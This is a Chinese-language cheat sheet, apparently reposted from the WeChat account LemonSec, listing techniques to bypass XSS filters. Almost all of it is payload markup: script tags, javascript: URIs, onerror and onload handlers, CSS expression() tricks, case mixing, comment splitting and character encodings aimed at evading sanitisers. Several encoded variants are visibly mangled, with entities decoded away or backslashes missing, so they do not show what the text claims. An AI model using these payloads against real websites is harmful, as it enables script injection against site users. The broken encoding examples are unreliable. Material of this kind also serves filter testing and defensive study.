(1)利用<>标记注射Html/Javascript.
<script>alert('XSS')</script>
(2)利用Html标签属性执行XSS
很多HTML都支持javascript:伪协议的形式
<table background="javascript:alert(/XSS/)"></table>
<img src="javascript:alert('XSS');">
(3)空格 回车 Tab
<img src="javas rcipt:alert(/XSS/)" width=100>
<img src="javas
rcipt:
alert(/XSS/)" width=100>
<img src="javas rcipt:alert(/XSS/)" width=100>
(4)对标签属性值转码
<img src="javascript:alert(/XSS/);"> //对t:进行十进制的转码后是t:
<img src=javascript:alert('XSS')>
<img src=javascript:alert('XSS')>
或者:
<img src=1 onerror=vbs:msgbox+1>
<body onload=`vbs:execScript"alert(0)","javascript"`>
还可以把.等字符插入到Javascript或Vbscript的头部,另外,Tab符的ASCII码	、换行符的
、回车符的
可以被插入到代码中的任意地方。
如:
<img src="javascript:alert(/a/)">
这个事例把ASCII码插入到了代码的头部,其中可写成,效果一样。
要插入到代码的任意位置,可使用	等字符,如下:
<img src="java	scr ipt:alert(/a/)">
(5)产生自己的事件
如click、mouseover、load
<input type="button" value="click me" onclick="alert('click me')" />
W3C将事件分为3个不同的类型:
用户接口(鼠标/键盘)
逻辑(处理的结果)
变化(对文档进行修改)
<img src="#" onerror=alert(/XSS/)>
(6)利用CSS跨站剖析
<div style="background-image:url(javascript:alert('XSS'))">
<style>
body {background-image:url("javascript:alert('XSS')");}
</style>
IE5及其以后版本支持在CSS中使用expression,如下所示:
<div style="width: expression(alert('XSS'));">
<img src="#" style="xss:expression(alert(/XSS/));">
<style>
body {background-image:expression(alert('XSS'));">
</style>
(7)扰乱过滤规则
一个正常的XSS输入:
<img src="javascript:alert(0);">
转换大小写后的XSS:
<IMG SRC="javascript:alert(0);">
大小写混淆的XSS:
<iMg Src="jaVascRipt:alert(0);">
不用双引号,而是使用单引号的XSS:
<img src='javascript:alert(0);'>
不使用引号的XSS:
<img src=javascript:alert(0);>
其他技巧:
<img/src="javascript:alert(0);">
注意这里的IMG标记和src属性之间没有空格,而是用/隔开的,此段代码在IE6中能成功执行。
当利用expression执行跨站代码时,可以构造不同的全角字符来扰乱过滤规则:
<div style="width:exprEssion(alert('XSS'));">
样式表中的/**/会被浏览器忽略,因此可以运用/**/来注释字符,通过插入混淆字符绕过过滤,如
<div style="width: expr/*XSS*/ession(alert('XSS'));">
除了/**/外,样式表中的/和结束符/0也是被浏览器忽略的,如:
<style>
@import 'javascript:alert("XSS")';
</style>
还可以将CSS中的关键字进行转码处理,如将e转换成65,包括改变编码中0的数量,如:
<div style="width:65xpression(alert('XSS'));">
<div style="width: 65xpression(alert('XSS'));">
<div style="width: 065xpression(alert('XSS'));">
其他:
<!--<img src="--><img src=x onerror=alert(1)//">
<comment><img src="</comment><img src=x onerror=alert(1)//">
<style><img src="</style><img src=x onerror=alert(1)//">
(8)利用字符编码
以<img src="javascript:alert('XSS');">为例,它的属性值是:javascript:alert('XSS');
进行十进制转码后得到:
javascript:alert('XSS');
完整的XSS Expliot如下:
<img src="javascript:alert('XSS');">
还可以在每个十进制的字符后加上;,或者采用�,�,�,�,�,�,�,�等形式,如下所示
<img src="javascript:alert('XSS');">
<img src="javascript:alert('XSS');">
<img src="javascript:alert('XSS');">
类似的,也能采用十六进制编码:
<img src="javascript:alert('XSS');">
另外,在JavaScript中有一个eval()函数,该函数可计算字符串,并执行其中的JavaScript代码,如下所示:
<script>
eval("alert('XSS')");
</script>
我们可以使用十六进制字符串,然后使用eval()函数执行十六进制字符串形式的脚本,如对alert('XSS')进行十六进制转码后得到:
<script>
eval("x61x6Cx65x72x74x28x27x58x53x53x27x29");
</script>
还有一个拆分跨站法,不做详述。
--------
本文始发于微信公众号(LemonSec):绕过XSS的多种方式
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论